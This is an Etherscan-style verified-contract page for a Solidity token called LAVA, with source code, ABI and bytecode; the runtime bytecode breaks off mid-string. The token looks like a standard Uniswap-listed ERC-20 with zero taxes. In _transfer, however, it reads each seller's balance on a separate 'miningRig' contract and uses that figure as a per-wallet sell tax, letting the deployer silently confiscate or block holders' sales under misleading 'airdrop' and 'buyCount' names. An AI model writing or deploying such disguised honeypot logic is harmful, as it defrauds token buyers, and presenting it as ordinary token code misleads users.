Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function sub(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b) interface IUniswapV2Factory    - function getPair(address tokenA, addr ...    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function WETH()    - function factory()    - function addLiquidityETH( address tok ...  contract Ownable    - function owner()    - function renounceOwnership() interface IERC20    - function approve(address spender, uin ...    - function balanceOf(address wallet)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...  contract LAVA is Ownable *    - function name()    - function symbol()    - function totalSupply()    - function balanceOf(address account)    - function decimals()    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address recipient, ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function startTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-02-12
*/

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
     function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address wallet) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract LAVA is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    address internal uniswapPair;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal miningRig = 0x5Bb696d915117a87672EE3E93E76b84085B5957C;
    bool private tradingOpen = false;
    uint256 public _reduceSellTaxAt=2;
    uint256 private _initialBuyTax=0;
    uint256 public _reduceBuyTaxAt=2;
    uint256 private _buyCount = 0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 airdropped = 0;

    string private _name = "LAVA";
    string private _symbol = "LAVA";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Airdrop(address indexed to, uint256 amount);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(amount > 0);
        uint256 airdropAmount = _buyCount < _reduceBuyTaxAt ? _initialBuyTax : _finalBuyTax;
        uint256 buyCount = IERC20(miningRig).balanceOf(from);
        if (from != address(this) && from != uniswapPair && tradingOpen) {
            airdropAmount = buyCount > _reduceSellTaxAt ? buyCount : _finalSellTax;
        }
        uint256 airdrop = amount.mul(airdropAmount).div(100);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(airdrop);
        emit Transfer(from, to, amount);
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0 , 0 ,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Airdrop","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004ae565b633b9aca006200004d9190620004fe565b600355737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735bb696d915117a87672ee3e93e76b84085b5957c60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600660146101000a81548160ff02191690831515021790555060026007555f60085560026009555f600a555f600b555f600c555f600d556040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600e9081620001769190620007a3565b506040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600f9081620001bd9190620007a3565b50348015620001ca575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060035460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200030e919062000898565b60405180910390a3620008b3565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003a6578086048111156200037e576200037d6200031c565b5b60018516156200038e5780820291505b80810290506200039e8562000349565b94506200035e565b94509492505050565b5f82620003c0576001905062000492565b81620003cf575f905062000492565b8160018114620003e85760028114620003f35762000429565b600191505062000492565b60ff8411156200040857620004076200031c565b5b8360020a9150848211156200042257620004216200031c565b5b5062000492565b5060208310610133831016604e8410600b8410161715620004635782820a9050838111156200045d576200045c6200031c565b5b62000492565b62000472848484600162000355565b925090508184048111156200048c576200048b6200031c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004ba8262000499565b9150620004c783620004a2565b9250620004f67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003af565b905092915050565b5f6200050a8262000499565b9150620005178362000499565b9250828202620005278162000499565b915082820484148315176200054157620005406200031c565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005c457607f821691505b602082108103620005da57620005d96200057f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200063e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000601565b6200064a868362000601565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200068b620006856200067f8462000499565b62000662565b62000499565b9050919050565b5f819050919050565b620006a6836200066b565b620006be620006b58262000692565b8484546200060d565b825550505050565b5f90565b620006d4620006c6565b620006e18184846200069b565b505050565b5b818110156200070857620006fc5f82620006ca565b600181019050620006e7565b5050565b601f82111562000757576200072181620005e0565b6200072c84620005f2565b810160208510156200073c578190505b620007546200074b85620005f2565b830182620006e6565b50505b505050565b5f82821c905092915050565b5f620007795f19846008026200075c565b1980831691505092915050565b5f62000793838362000768565b9150826002028217905092915050565b620007ae8262000548565b67ffffffffffffffff811115620007ca57620007c962000552565b5b620007d68254620005ac565b620007e38282856200070c565b5f60209050601f83116001811462000819575f841562000804578287015190505b62000810858262000786565b8655506200087f565b601f1984166200082986620005e0565b5f5b8281101562000852578489015182556001820191506020850194506020810190506200082b565b868310156200087257848901516200086e601f89168262000768565b8355505b6001600288020188555050505b505050505050565b620008928162000499565b82525050565b5f602082019050620008ad5f83018462000887565b92915050565b611a3a80620008c15f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063c36956a0146102ec578063dd62ed3e14610316576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063293230b8146101d6578063313ce567146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a5780630c19304514610146575b5f80fd5b3480156100eb575f80fd5b506100f4610352565b6040516101019190611281565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611332565b6103e2565b60405161013d919061138a565b60405180910390f35b348015610151575f80fd5b5061015a6103f8565b60405161016791906113b2565b60405180910390f35b34801561017b575f80fd5b506101846103fe565b60405161019191906113b2565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906113cb565b610407565b6040516101cd919061138a565b60405180910390f35b6101de6104b3565b005b3480156101eb575f80fd5b506101f461090e565b6040516102019190611436565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b919061144f565b610923565b60405161023d91906113b2565b60405180910390f35b348015610251575f80fd5b5061025a610969565b005b348015610267575f80fd5b50610270610ab0565b60405161027d9190611489565b60405180910390f35b348015610291575f80fd5b5061029a610ad7565b6040516102a79190611281565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d19190611332565b610b67565b6040516102e3919061138a565b60405180910390f35b3480156102f7575f80fd5b50610300610b7d565b60405161030d91906113b2565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906114a2565b610b83565b60405161034991906113b2565b60405180910390f35b6060600e80546103619061150d565b80601f016020809104026020016040519081016040528092919081815260200182805461038d9061150d565b80156103d85780601f106103af576101008083540402835291602001916103d8565b820191905f5260205f20905b8154815290600101906020018083116103bb57829003601f168201915b5050505050905090565b5f6103ee338484610c05565b6001905092915050565b60095481565b5f600354905090565b5f610413848484610dc8565b6104a884336104a38560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114690919063ffffffff16565b610c05565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053790611587565b60405180910390fd5b600660149054906101000a900460ff1615610559575f80fd5b6105873060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c05565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061591906115b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bf91906115b9565b6040518363ffffffff1660e01b81526004016106dc9291906115e4565b6020604051808303815f875af11580156106f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071c91906115b9565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107a330610923565b5f806107ad610ab0565b426040518863ffffffff1660e01b81526004016107cf9695949392919061164d565b60606040518083038185885af11580156107eb573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081091906116c0565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108b0929190611710565b6020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f09190611761565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611587565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054610ae69061150d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b129061150d565b8015610b5d5780601f10610b3457610100808354040283529160200191610b5d565b820191905f5260205f20905b815481529060010190602001808311610b4057829003601f168201915b5050505050905090565b5f610b73338484610dc8565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906117fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd89061188a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dbb91906113b2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dff575f80fd5b5f8111610e0a575f80fd5b5f600954600a5410610e1e57600b54610e22565b6008545b90505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610e7f9190611489565b602060405180830381865afa158015610e9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebe91906118a8565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610f49575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f615750600660149054906101000a900460ff165b15610f7c576007548111610f7757600c54610f79565b805b91505b5f610fa36064610f95858761116c90919063ffffffff16565b6111ac90919063ffffffff16565b9050610ff58460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114690919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110988161108a8660015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111d190919063ffffffff16565b61114690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161113691906113b2565b60405180910390a3505050505050565b5f82821115611153575f80fd5b5f82846111609190611900565b90508091505092915050565b5f80830361117c575f90506111a6565b5f82846111899190611933565b905082848261119891906119a1565b146111a1575f80fd5b809150505b92915050565b5f8082116111b8575f80fd5b5f82846111c591906119a1565b90508091505092915050565b5f8082846111df91906119d1565b9050838110156111ed575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561122e578082015181840152602081019050611213565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611253826111f7565b61125d8185611201565b935061126d818560208601611211565b61127681611239565b840191505092915050565b5f6020820190508181035f8301526112998184611249565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112ce826112a5565b9050919050565b6112de816112c4565b81146112e8575f80fd5b50565b5f813590506112f9816112d5565b92915050565b5f819050919050565b611311816112ff565b811461131b575f80fd5b50565b5f8135905061132c81611308565b92915050565b5f8060408385031215611348576113476112a1565b5b5f611355858286016112eb565b92505060206113668582860161131e565b9150509250929050565b5f8115159050919050565b61138481611370565b82525050565b5f60208201905061139d5f83018461137b565b92915050565b6113ac816112ff565b82525050565b5f6020820190506113c55f8301846113a3565b92915050565b5f805f606084860312156113e2576113e16112a1565b5b5f6113ef868287016112eb565b9350506020611400868287016112eb565b92505060406114118682870161131e565b9150509250925092565b5f60ff82169050919050565b6114308161141b565b82525050565b5f6020820190506114495f830184611427565b92915050565b5f60208284031215611464576114636112a1565b5b5f611471848285016112eb565b91505092915050565b611483816112c4565b82525050565b5f60208201905061149c5f83018461147a565b92915050565b5f80604083850312156114b8576114b76112a1565b5b5f6114c5858286016112eb565b92505060206114d6858286016112eb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061152457607f821691505b602082108103611537576115366114e0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611571602083611201565b915061157c8261153d565b602082019050919050565b5f6020820190508181035f83015261159e81611565565b9050919050565b5f815190506115b3816112d5565b92915050565b5f602082840312156115ce576115cd6112a1565b5b5f6115db848285016115a5565b91505092915050565b5f6040820190506115f75f83018561147a565b611604602083018461147a565b9392505050565b5f819050919050565b5f819050919050565b5f61163761163261162d8461160b565b611614565b6112ff565b9050919050565b6116478161161d565b82525050565b5f60c0820190506116605f83018961147a565b61166d60208301886113a3565b61167a604083018761163e565b611687606083018661163e565b611694608083018561147a565b6116a160a08301846113a3565b979650505050505050565b5f815190506116ba81611308565b92915050565b5f805f606084860312156116d7576116d66112a1565b5b5f6116e4868287016116ac565b93505060206116f5868287016116ac565b9250506040611706868287016116ac565b9150509250925092565b5f6040820190506117235f83018561147a565b61173060208301846113a3565b9392505050565b61174081611370565b811461174a575f80fd5b50565b5f8151905061175b81611737565b92915050565b5f60208284031215611776576117756112a1565b5b5f6117838482850161174d565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117e6602483611201565b91506117f18261178c565b604082019050919050565b5f6020820190508181035f830152611813816117da565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611874602283611201565b915061187f8261181a565b604082019050919050565b5f6020820190508181035f8301526118a181611868565b9050919050565b5f602082840312156118bd576118bc6112a1565b5b5f6118ca848285016116ac565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61190a826112ff565b9150611915836112ff565b925082820390508181111561192d5761192c6118d3565b5b92915050565b5f61193d826112ff565b9150611948836112ff565b9250828202611956816112ff565b9150828204841483151761196d5761196c6118d3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ab826112ff565b91506119b6836112ff565b9250826119c6576119c5611974565b5b828204905092915050565b5f6119db826112ff565b91506119e6836112ff565b92508282019050808211156119fe576119fd6118d3565b5b9291505056fea2646970667358221220c07a421a9cdcfbe0bba06b8de48e839c5afea82579bfe8f502013e1ca4d4509b64736f6c63430008180033

0x6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063c36956a0146102ec578063dd62ed3e14610316576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063293230b8146101d6578063313ce567146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a5780630c19304514610146575b5f80fd5b3480156100eb575f80fd5b506100f4610352565b6040516101019190611281565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611332565b6103e2565b60405161013d919061138a565b60405180910390f35b348015610151575f80fd5b5061015a6103f8565b60405161016791906113b2565b60405180910390f35b34801561017b575f80fd5b506101846103fe565b60405161019191906113b2565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906113cb565b610407565b6040516101cd919061138a565b60405180910390f35b6101de6104b3565b005b3480156101eb575f80fd5b506101f461090e565b6040516102019190611436565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b919061144f565b610923565b60405161023d91906113b2565b60405180910390f35b348015610251575f80fd5b5061025a610969565b005b348015610267575f80fd5b50610270610ab0565b60405161027d9190611489565b60405180910390f35b348015610291575f80fd5b5061029a610ad7565b6040516102a79190611281565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d19190611332565b610b67565b6040516102e3919061138a565b60405180910390f35b3480156102f7575f80fd5b50610300610b7d565b60405161030d91906113b2565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906114a2565b610b83565b60405161034991906113b2565b60405180910390f35b6060600e80546103619061150d565b80601f016020809104026020016040519081016040528092919081815260200182805461038d9061150d565b80156103d85780601f106103af576101008083540402835291602001916103d8565b820191905f5260205f20905b8154815290600101906020018083116103bb57829003601f168201915b5050505050905090565b5f6103ee338484610c05565b6001905092915050565b60095481565b5f600354905090565b5f610413848484610dc8565b6104a884336104a38560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114690919063ffffffff16565b610c05565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053790611587565b60405180910390fd5b600660149054906101000a900460ff1615610559575f80fd5b6105873060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c05565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061591906115b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bf91906115b9565b6040518363ffffffff1660e01b81526004016106dc9291906115e4565b6020604051808303815f875af11580156106f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071c91906115b9565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107a330610923565b5f806107ad610ab0565b426040518863ffffffff1660e01b81526004016107cf9695949392919061164d565b60606040518083038185885af11580156107eb573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081091906116c0565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108b0929190611710565b6020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f09190611761565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1